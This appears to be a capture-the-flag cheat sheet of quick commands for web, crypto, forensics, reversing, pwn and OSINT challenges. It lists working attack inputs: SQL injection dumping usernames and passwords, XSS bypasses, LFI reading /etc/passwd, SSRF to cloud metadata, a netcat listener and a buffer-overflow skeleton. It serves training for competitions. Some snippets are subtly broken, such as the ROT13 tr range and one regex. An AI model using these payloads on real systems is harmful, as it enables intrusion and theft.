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## 1. GENERAL UTILITIES

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### File Identification & Inspection

```
file <file>
strings <file> | less
hexdump -C <file> | head
xxd <file>
xxd -p file | tr -d '\n'
```

### Compression & Archive Extraction

```
binwalk -e file
unzip file.zip
tar -xvf file.tar
gzip -d file.gz
7z x file.7z
```

### Checksum / Hash Tools

```
md5sum file
sha1sum file
```

```
sha256sum file  
hashid <hash>
```

## Networking Basics

```
curl -I http://target  
curl -X POST -d "a=b" http://target  
wget http://target/file  
nc -lvnp 4444
```

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## 2. WEB EXPLOITATION

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### Common Vulnerability Categories

- SQL Injection
  - XSS (Reflected, Stored, DOM)
  - CSRF
  - Directory Traversal / LFI / RFI
  - SSRF
  - SSTI
  - IDOR
  - Cookies & Session attacks
  - Misconfigurations
-

## SQL Injection Cheats

### Basic Payloads

```
' OR 1=1-- -  
" OR 1=1-- -  
admin' --
```

### Union-based enumeration

```
' UNION SELECT 1,2,3--  
' UNION SELECT username,password FROM users--
```

### Check number of columns

```
ORDER BY 1--  
ORDER BY 2--  
ORDER BY 3--
```

### Error-based

```
' AND updatexml(1, concat(0x7e,version(),0x7e), 1)--
```

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## XSS Patterns

```
<script>alert(1)</script>  
>><script>alert(1)</script>
```

```
<img src=x onerror=alert(1)>
```

## Bypass filters

```
<script>alert`1`</script>  
<svg onload=alert(1)>  
"><svg/onload=alert(1)>
```

## LFI / Directory Traversal

```
?file=../../../../etc/passwd  
?path=../../../../var/www/html/index.php  
?page=php://filter/convert.base64-encode/resource=index.php
```

## SSTI

### Detection:

```
{{7*7}}  
${7*7}  
<%= 7*7 %>
```

### Common injectable templates:

- Jinja2 (Python)

- Twig (PHP)
- Freemarker (Java)
- Velocity (Java)

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## SSRF Quick Wins

Try internal resources:

```
http://127.0.0.1:80
http://localhost/admin
http://169.254.169.254/latest/meta-data/
```

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## Useful Web Tools

```
ffuf -u http://site/FUZZ -w wordlist.txt
dirsearch -u http://site
sqlmap -u "http://site/?id=1" --batch
```

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## 3. CRYPTOGRAPHY

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### Encoding / Decoding

```
base64 -d
echo "text" | base64
xxd -ps
echo <hex> | xxd -r -p
```

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## Classical Ciphers

### Caesar / ROT13

```
tr 'A-Za-z' 'N-ZA-Mn-a-m'
```

### Vigenère

- Check repeating patterns
- Use **Kasiski examination**
- Cryptanalysis tools: [dcode.fr](https://dcode.fr/) / [cyberchef](https://cyberchef.org/)

### Substitution

- Frequency analysis:  
E, T, A, O, I, N are most common in English.

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## XOR

### Single-byte XOR brute force:

```
for i in range(256): print(bytes([b ^ i for b in ciphertext]))
```

XOR two hex strings:

```
def xor(a,b): return bytes([x^y for x,y in zip(a,b)])
```

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## RSA Quick Reference

### Modular Inverse

```
pow(a, -1, n)
```

### Private key recovery (when p & q given)

```
phi = (p-1)*(q-1)
d = inverse(e, phi)
```

### Vulnerabilities

- Small `e` (`e = 3`)
- Reused nonce
- Shared prime between two moduli
- CRT leakage
- Low padding

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## 4. FORENSICS / STEGO

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## Image Forensics

```
exiftool image.jpg
strings image.jpg | grep -i flag
zsteg image.png
steghide extract -sf file.jpg
```

Try password → empty string first.

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## Audio Forensics

```
sox file.wav -n spectrogram
# Look for hidden text in the spectrogram
```

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## PCAP / Network

### Wireshark Filters

```
http
tcp.stream eq 0
dns
frame contains "flag"
```

### Extract files

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```
tcpflow -r capture.pcap
```

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## Memory Forensics

```
volatility -f memdump imageinfo  
volatility --profile=... pslist  
volatility --profile=... filescan
```



## 5. REVERSE ENGINEERING

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### Quick Binary Triage

```
strings binary  
ltrace ./binary  
strace ./binary  
file binary
```

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### Disassembly / Static Analysis

```
objdump -d binary
radare2 -A binary
```

### In Ghidra / IDA look for:

- Hardcoded strings
- `check()` , `validate()` , `decrypt()`
- Comparisons against a long constant
- Loops XORing characters

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### Basic GDB Commands

```
gdb ./binary
break *main
run
info registers
x/s $rax
x/20x $esp
```

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## 6. PWN / BINARY EXPLOITATION

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### Check Binary Protections

```
checksec --file=binary
```

### What they mean:

- **NX** → need ROP
- **PIE** → leak needed
- **Canary** → bypass with leak
- **RELRO FULL** → GOT overwrite blocked

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## Buffer Overflow Pattern

```
pattern create 200  
pattern search <value>
```

### Using pwntools:

```
from pwn import * p = process("./vuln") payload = b"A"*offset + p64(ret) p.sendline(payload) p.interactive()
```

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## ROP Gadgets

```
ROPgadget --binary binary
```

### Common gadgets:

```
pop rdi; ret
pop rsi; pop r15; ret
```

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## Ret2Libc Workflow

1. Leak address (puts, printf, write)
2. Use libc database to find offsets
3. Calculate system, "/bin/sh"
4. Build ROP chain



## 7. OSINT

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### Image OSINT

- Reverse search (Google, Yandex)
- Metadata → exiftool
- Check shadows & artifacts for edits

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### Username / Email OSINT

Tools:

- Sherlock
- holehe
- Emailrep

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## Geolocation

Look for:

- Street signs
  - Sun shadow direction
  - Mountains / coastline shape
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## 8. MISC & QUICK TIPS

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### CyberChef Recipes

- Magic decode
  - XOR brute force
  - ROT-brute
  - AES decrypt
  - Base encodings
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### Regex Snippets

```
flag{.*}  
CTF{.*}  
[A-Za-z0-9+/{20,}==
```

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## Hex to ASCII

```
xxd -r -p input.hex
```

## Useful URLs

- [dcode.fr](https://dcode.fr)
- [cyberchef](https://cyberchef.net)
- [crackstation.net](https://crackstation.net)
- [hashcat.net/wiki/doku.php?id=example\\_hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)

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## 9. COMPETITION STRATEGY

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- Solve **easy** challenges first
- Skip anything that traps you >20–25 min
- Write notes for every attempt
- Screenshot flags
- Submit often — partial points matter in some CTFs
- Don't chase categories you're weak in during crunch time
- Keep your environment clean and ready